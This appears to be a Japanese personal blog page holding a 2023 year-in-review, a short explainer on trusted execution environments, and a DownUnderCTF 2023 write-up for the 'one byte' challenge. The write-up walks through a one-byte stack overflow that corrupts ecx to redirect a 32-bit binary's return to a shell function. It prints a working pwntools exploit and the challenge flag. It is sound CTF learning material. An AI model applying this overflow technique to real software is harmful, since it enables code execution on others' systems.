mn1's blog

コンピュータと仲良くなりたい。人に優しく生きたい

2023振り返り

各地から1年を振り返れハラスメントを受け、屈したので書きます。あとで思い出したら追加されていく予定ですが、どこまで思い出せるか分かりません。

1月, 2月, 3月

あんま覚えてないけど卒論書いてたはず。人生で初めて金髪にした。石垣島行って楽しかった。

4月

大学院に入った。

5月

DEFCONにteam enuで参加した。何もできなくて悔しかった記憶。インターン先の人とかWaniの人とか、yu1hpaさんに会えて楽しかった。

6月

生きてた

7月

生きてた

8月

短期インターン頑張ってた。お世話になりました... webちょっとわかった。

9月

引き続きちょっとインターン参加させてもらってた。何もできずに東京まで椅子を温めに来た人になりかけたが、メンターの人のおかげで成果っぽい何かが生成された。実力不足でごめんなさい...

初めてWani Hackaseで白浜合宿に行ってとても楽しかった。hi120kiさんのQilingの資料、相当参考にさせてもらっているけど、あれ一般公開しないんだろうか

10月

研究テーマ錬成してた。

11月

研究テーマ錬成してた。

水泳で大会に出て、しっかりタイムを落とした。来年は自己ベスト出します。

12月

研究テーマ錬成してた。

1年通しての感想

  • 研究室が優秀な人多くて、議論で滅茶苦茶ボコボコにされた。ボコボコにされすぎて初めて論理的思考というものの輪郭がわかった気がする。
  • 研究室にスマブラ過激派が多くて滅茶苦茶ボコボコにされた。ボコボコにされすぎてちょっと上手くなってしまった。
  • 卒業したのに水泳部の人にめちゃめちゃ遊んでもらった。来年もお願いします(?)
  • インターンで関わった人達、Waniの人、昔の同期、奈良の鹿、隣の部屋でカレーパーティを日夜開催する中国人、その他様々なものに沢山の刺激、モチベーションをもらった。来年は結果で返します。

来年の目標

1年があまりにも薄味すぎたので、来年の目標を決めておきます。達成できるといいね。学生最後の年なのでもうちょっと成長したいね。

  • pwnを究める

  • GBエミュレータを作る

  • 論文を国内1本、国際1本

  • TOEIC800

  • 水泳自己ベスト

  • やるべきことをやる。シングルタスクをできるようになる。

TEE(Trusted Execution Environment)

1日1個技術の備忘録書くことにした。毎日継続とは言っていない。

適当な概要と参考文献をマストで入れる。目標は手動かして感想書く。

TEE(Trusted Execution Environment)とは

cpuにroot of trustを置いた、機密性が保証された隔離実行環境。簡単に言うとOS特権等の強い権限を使っても操作できない隔離されたメモリ領域を提供するcpuの機能。PCやスマホのrootを取ったとしても、TEE内で処理される情報は盗めないということである。詳しい技術の話は参考文献先に当たってほしい。

アーキテクチャごとの違い

CPUアーキテクチャの有名どころだと大体TEEに対応している。X86-64とかX86系だとIntelIntel SGX(以下SGX), AMDだとAMD SEVが実装されている。ARMはARM TrustZone(以下TrustZone)、RISC-VはKeyStoneが該当する。

どこで使われているか

TrustZoneはAndroidだとDRM(デジタル著作権管理)フレームワークとかAndroid KeyStoreなんかがあり、他にもiphone、MチップMacとかswitchとか、結構いろんなところで使われている。SGXはBlue layのDRMに使われていたが、しれっと11世代のコアからXeon以外では廃止されている。この影響でIntel CPUでは11世代以降Blue layの再生ができなくなっている。Xeonだけに残しといて何に使うねんと思っていたが、AzureでSGX対応したコンテナのサービスが提供されているからこれに使っているっぽい。病院とか金融系みたいな機密情報ありすぎてクラウド使いづらい企業には確かに必要だよなーと思う。

試したい場合

TEEを使ってみたいだけならインターネットに転がっている情報の豊富さからSGXがおすすめ(って先輩が言ってた)。7~10世代ぐらいまでのIntel NUCの中古とかを1万円台くらいで買って、aosさんのseccampの神資料を見ながらやるのが一番楽しいんだろうなと思う。TrustZoneのOSS実装であるOP-TEEを使うとraspberry pi modelBに実機実装できるが、あんまり参考資料が無いからおすすめしない。ちなみにOP-TEEはqemuを使って仮想環境でも試せる。Intel SGXもdeveloper用のエミュレーション環境があると聞いたことがあるが、見つけられなかった。

まとめ

年末年始使ってみようかなー。

参考とするとよい文献

TEEの概略を知るのによい

aosさんのSGX解説の神資料

TrustZoneのアーキテクチャ解説

TrustZoneを攻撃したい方はこちら

DownUnderCTF 2023 writeup

ductfが終わった後に1問だけ解いたので適当writeup

one byte[189 solves]

問題概要

渡されるソースコードと実行ファイルに設定されている防御機構は以下

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void init() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
}

void win() {
    system("/bin/sh");
}

int main() {
    init();

    printf("Free junk: 0x%lx\n", init);
    printf("Your turn: ");

    char buf[0x10];
    read(0, buf, 0x11);
}

checksec結果

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

32bitマシンですね。canaryだけついていないっぽい。ソースコードを見る限り実行すると謎にinitのアドレスをリークしてくれますね

Here's a one byte buffer overflow!

と問題文にある通り、readに渡されているbufは0x10(=16)文字が格納できますが、readで0x11(=17)文字書き込めてしまうので1バイトのbuffer overflow(bof)が狙えますね。1バイトしか溢れなかったらebpの書き換えしかできないじゃん~意味ないじゃん~と思う所ですが、ctfなので一旦どこの1バイトを書き換えられるのか確認してみます。

bofの書き込み場所

取り敢えずアセンブラを読みます。gdbdisassemble main とかしたら読めます。ちなみにgdbで実行ファイルの解析を始めるときはgdb -q <実行ファイル名>で行けます

   0x0000122e <+0>:     lea    ecx,[esp+0x4]
   0x00001232 <+4>:     and    esp,0xfffffff0
   0x00001235 <+7>:     push   DWORD PTR [ecx-0x4]
   0x00001238 <+10>:    push   ebp
   0x00001239 <+11>:    mov    ebp,esp
   0x0000123b <+13>:    push   ebx
   0x0000123c <+14>:    push   ecx
   0x0000123d <+15>:    sub    esp,0x10
   0x00001240 <+18>:    call   0x10c0 <__x86.get_pc_thunk.bx>
   0x00001245 <+23>:    add    ebx,0x2daf
   0x0000124b <+29>:    call   0x11bd <init>
   0x00001250 <+34>:    sub    esp,0x8
   0x00001253 <+37>:    lea    eax,[ebx-0x2e37]
   0x00001259 <+43>:    push   eax
   0x0000125a <+44>:    lea    eax,[ebx-0x1fe4]
   0x00001260 <+50>:    push   eax
   0x00001261 <+51>:    call   0x1060 <printf@plt>
   0x00001266 <+56>:    add    esp,0x10
   0x00001269 <+59>:    sub    esp,0xc
   0x0000126c <+62>:    lea    eax,[ebx-0x1fd2]
   0x00001272 <+68>:    push   eax
   0x00001273 <+69>:    call   0x1060 <printf@plt>
   0x00001278 <+74>:    add    esp,0x10
   0x0000127b <+77>:    sub    esp,0x4
   0x0000127e <+80>:    push   0x11
   0x00001280 <+82>:    lea    eax,[ebp-0x18]
   0x00001283 <+85>:    push   eax
   0x00001284 <+86>:    push   0x0
   0x00001286 <+88>:    call   0x1050 <read@plt>
   0x0000128b <+93>:    add    esp,0x10
   0x0000128e <+96>:    mov    eax,0x0
   0x00001293 <+101>:   lea    esp,[ebp-0x8]
   0x00001296 <+104>:   pop    ecx
   0x00001297 <+105>:   pop    ebx
   0x00001298 <+106>:   pop    ebp
   0x00001299 <+107>:   lea    esp,[ecx-0x4]
   0x0000129c <+110>:   ret

ぱっと見(実はよく考えましたが)関数の起動処理と終了処理が64bitマシンと違う気がしますね*1。抜き出すと以下の部分です。

起動処理

   0x0000122e <+0>:     lea    ecx,[esp+0x4]
   0x00001232 <+4>:     and    esp,0xfffffff0
   0x00001235 <+7>:     push   DWORD PTR [ecx-0x4]
   0x00001238 <+10>:    push   ebp
   0x00001239 <+11>:    mov    ebp,esp
   0x0000123b <+13>:    push   ebx
   0x0000123c <+14>:    push   ecx
   0x0000123d <+15>:    sub    esp,0x10

終了処理

   0x0000128b <+93>:    add    esp,0x10
   0x0000128e <+96>:    mov    eax,0x0
   0x00001293 <+101>:   lea    esp,[ebp-0x8]
   0x00001296 <+104>:   pop    ecx
   0x00001297 <+105>:   pop    ebx
   0x00001298 <+106>:   pop    ebp
   0x00001299 <+107>:   lea    esp,[ecx-0x4]
   0x0000129c <+110>:   ret

普通64bitマシンだと呼び出し元のrbpをpopしてから新たな関数のベースポインタに移動(mov rbp rsp)させて、rspを使う領域分よしなにsubするだけだと思うんですが、なんかやたら処理が多いですね。起動処理時に確保されるスタックを書き出してみるとこんな感じになります。0x20はrbp-0x20のアドレスを指します。

  • 0x20:
  • 0x1c:
  • 0x18:
  • 0x14:
  • 0x10: ecx
  • 0x0c: ebx
  • 0x08: ebp
  • 0x04: ecx-0x4のポインタ

0x20-0x14は、起動時にはbuf用の領域が確保されているだけなので何も書いていません。この特殊なスタックの積まれ方だと、bofしたときに書き換えられるのはecxの下位1バイトだということがわかります。つまりecx=0xffffd130が元の値だった場合、0x11(=17)回aを書き込むとこんな感じになります

  • 0x20: aaaa
  • 0x1c: aaaa
  • 0x18: aaaa
  • 0x14: aaaa
  • 0x10: 0xffffd161
  • 0x0c: ebx
  • 0x08: ebp
  • 0x04: ecx-0x4のポインタ

0x61がasciiの場合aにあたるので、ecxの末尾が61に書き換えられています。このスタックの状態を仮定して終了処理を順番に0x1293<+101>から追っていくと次のようになります。

  1. espの値をebp-0x8のポインタに変更する。つまり0x10を指す。
  2. ecxをpop。この時入る値は0x10に格納されている値(0xffffd161)
  3. ebxをpop。この時入る値は0x0cに入っている値
  4. ebpをpop。この時入る値は0x08に入っている値
  5. espの値をecx-0x4のポインタに変更する。つまり0xffffd161 - 0x4 = 0xffffd15d
  6. ret命令でespに格納されているアドレスの値(0xffffd15d)にjmp

5,6の処理に着目すると、bofによってecxの値が書き換わることで、最終的に関数終了時のretで遷移する先が変わってしまっているのがわかります。つまりbofによってreturnアドレスを変更できることがわかりました。

解法

ここまでで大体exploitの材料は揃ったので、どうやって攻撃するか考えます。ecx-0x4に格納される値をwinのアドレスに変更できればいいわけなので、入力でwinのアドレスを与えておいて、ecx-0x4がちょうどそのスタックを指すように調整してやればよさそうです。ただ今回はアドレスの値が毎回変わる*2ので、下位1バイトを適当な値に固定し、そのうち都合いい感じにアドレスが書き換わることを期待してwhileを回すようにしました。*3

#!/usr/bin/env python3

from pwn import *

exe = ELF("./onebyte_patched")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("2023.ductf.dev", 30018)

    return r


def main():
    while(1):
        r = conn()
        dist = 0x1203 - 0x11bd # winとinitのアドレスの差を計算
        
        r.recvuntil(b"Free junk: ")
        address_init = int(r.recvline().decode(), 0) # initのアドレスを取得
        address_win = address_init + dist # winのアドレスを計算
        info(f'win()  address: {hex(address_init)}')

        payload = p32(address_win) * 4 + b"L" # bofで書き換える値は4の倍数なら何でも。
        r.sendlineafter(b"Your turn: ", payload)

        try:
            r.sendline(b"cat flag.txt")
            log.info(r.recvline())
            r.interactive()
            break
        except:
            r.close()


if __name__ == "__main__":
    main()

実行したら以下の文字列が見えます

DUCTF{all_1t_t4k3s_is_0n3!}

わーい

*1:leaveなくね?で気づきました

*2:ASLRが有効になっている。なんでchecksecにASLR出てこないんですかねぇ

*3:pwninitっていうglibcとリンカのバージョンを自動で調整してくれるツールがあるんですが、実行するとexploitのテンプレも作ってくれるのでpwn解くときは毎回pwninitを実行してテンプレも作らせてます。